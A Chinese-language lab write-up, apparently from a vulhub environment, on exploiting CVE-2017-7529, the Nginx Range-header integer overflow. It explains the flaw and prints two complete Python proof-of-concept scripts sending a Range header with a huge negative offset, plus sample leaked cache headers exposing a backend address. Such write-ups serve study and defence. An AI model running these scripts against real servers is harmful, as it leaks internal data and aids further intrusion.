CVE-2017-7529 Nginx Range头整数溢出漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2017-7529
影响版本 Nginx 0.5.6 ~ 1.13.2
靶场版本 Nginx 1.13.2
漏洞类型 Range头整数溢出 → 信息泄露
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx作为反向代理时,通常会缓存后端返回的静态文件。缓存文件的结构如下:

复制代码
[文件头元数据] [HTTP响应头] [HTTP响应体]
                             ↑ 正常只返回这里

Nginx的range filter模块在处理HTTP请求头中的Range字段时存在整数溢出漏洞。当构造包含超大负数 的Range头时,Nginx的偏移计算产生整数溢出,导致start位置变成负数,从而越界读取到响应体之前的缓存元数据和HTTP响应头。

复制代码
正常计算:start = 文件长度 - end  →  正值
漏洞计算:start = 文件长度 - (-9223372036854773979)
                                      ↓
                              整数溢出 → 负数偏移
                                      ↓
                          读取到文件头 + 响应头
  • Nginx 的 start 和 end 是 int64_t 类型

  • 构造 Range: bytes=-X, -超大负数 → 溢出后 start 变成负数

  • Nginx 错误地将可读取范围扩展到了缓存文件的头部区域

  • 敏感信息(后端地址、缓存KEY、内部头)被泄露

攻击步骤

Step 1:访问目标使其缓存

先用正常请求访问一次,让 Nginx 把页面缓存下来:

复制代码
curl -s http://192.168.229.60:8080/ > /dev/null

Step 2:运行漏洞POC

复制代码
python3 poc.py http://192.168.229.60:8080/

Step 3:解析泄露数据

成功读取到缓存文件头部的敏感信息:

复制代码
Content-Range: bytes -9223372036854773979-611/612
​
-- 泄露内容 --
KEY: http://127.0.0.1:8081/
                      ↑ 后端真实地址泄露
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Sun, 14 Jun 2026 14:45:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
ETag: "59526062-264"
Accept-Ranges: bytes

注意: -9223372036854773979 这个巨负的数就是整数溢出的结果,Nginx 把它解析成了负数偏移,导致越界向前读取缓存文件头部。

Python版完整利用脚本

复制代码
import requests
​
# CVE-2017-7529 POC for Nginx Integer Overflow
# Usage: python3 poc.py http://target:8080/
​
target = "http://192.168.229.60:8080/"
​
# 第一次请求:让Nginx缓存
requests.get(target).content
​
# 第二次请求:利用Range头触发整数溢出
headers = {
    "Range": "bytes=-605, -9223372036854774591"
}
​
r = requests.get(target, headers=headers)
​
# 解析multipart响应
for part in r.text.split("--"):
    if "Content-Range:" in part and "-922337203685477" in part:
        print("=== 泄露的缓存头部信息 ===")
        # 提取Content-Range后面的内容
        lines = part.strip().split("\n")
        for line in lines:
            if "KEY:" in line or "Server:" in line or "Date:" in line:
                print(line)
        # 也打印完整内容
        print("\n=== 完整泄露数据 ===")
        print(part.strip())

POC源码解析(来自vulhub)

复制代码
import requests
​
url = "http://192.168.229.60:8080/"
# 关键:第一个Range值控制正常读取范围
#       第二个Range值是超大的负数,触发整数溢出
#       65536是经过计算的偏移值,可以微调
#       -9223372036854774591 ≈ -(2^63 - 2^12)
​
headers = {
    "User-Agent": "Mozilla/5.0",
    "Range": "bytes=-65536, -9223372036854774591"
}
​
r = requests.get(url, headers=headers)
print(r.text)

关键要点总结

  1. ✅ 超大负数Range值是漏洞核心,用于触发整数溢出

  2. ✅ 第一次访问让Nginx缓存页面是前提条件

  3. ✅ 成功读到 KEY: 字段 → 泄露后端真实地址(127.0.0.1:8081)

  4. ✅ 成功读到 HTTP响应头 → 泄露服务器版本、时间戳等信息

  5. ✅ 读取的乱码部分是Nginx缓存文件的内部文件头元数据

  6. ⚠️ 偏移值可以调整(如poc.py中的605),不同文件可能需要微调才能命中缓存头部位置

相关推荐
cnnews21 分钟前
Chromebox3安装Ubuntu后内存化与最小化 eMMC 写入优化
linux·运维·ubuntu
AliCloudROS42 分钟前
OOS ChatOps Agent 定时任务:每天 9 点,让Agent 在钉钉群里交运维报告
运维·自动化运维
CALL158119098451 小时前
SVHC 247项与附录XVII限制物质,REACH测试项目有哪些?
运维·安全·安全性测试
flytalei1 小时前
Ubuntu 24.04 单节点 K3s 部署实践:从环境评估到故障排查与验收
linux·运维·ubuntu
CableTech_SQH1 小时前
行业运维新标杆:百盛3D全场景运维系统
运维·数据库·信息与通信·综合布线
程序猿老A2 小时前
云服务器ECS怎么配置多IP?
运维·服务器·tcp/ip
Canmag 兴隆磁性2 小时前
磁材包装产线自动化实践:自动定量装袋设备的原理、结构与选型思路
运维·自动化·永磁材料·包装
IDCPDU2 小时前
PDU 采集断网就丢数据?加一层本地缓存和补传逻辑
运维
云飞云共享云桌面2 小时前
钣金精密机械工厂:多工程师共享图形服务器,SolidWorks/UG 三维设计兼顾成本与数据安全
运维·服务器·人工智能·自动化·制造
行者-全栈开发3 小时前
【容器/虚拟化】CVE-2026-53359:Linux KVM Januscape 虚拟机逃逸漏洞修复指南(潜伏16年的云安全噩梦)
linux·运维·服务器·多租户隔离·cve-2026-53359·kvm虚拟机逃逸·shadow mmu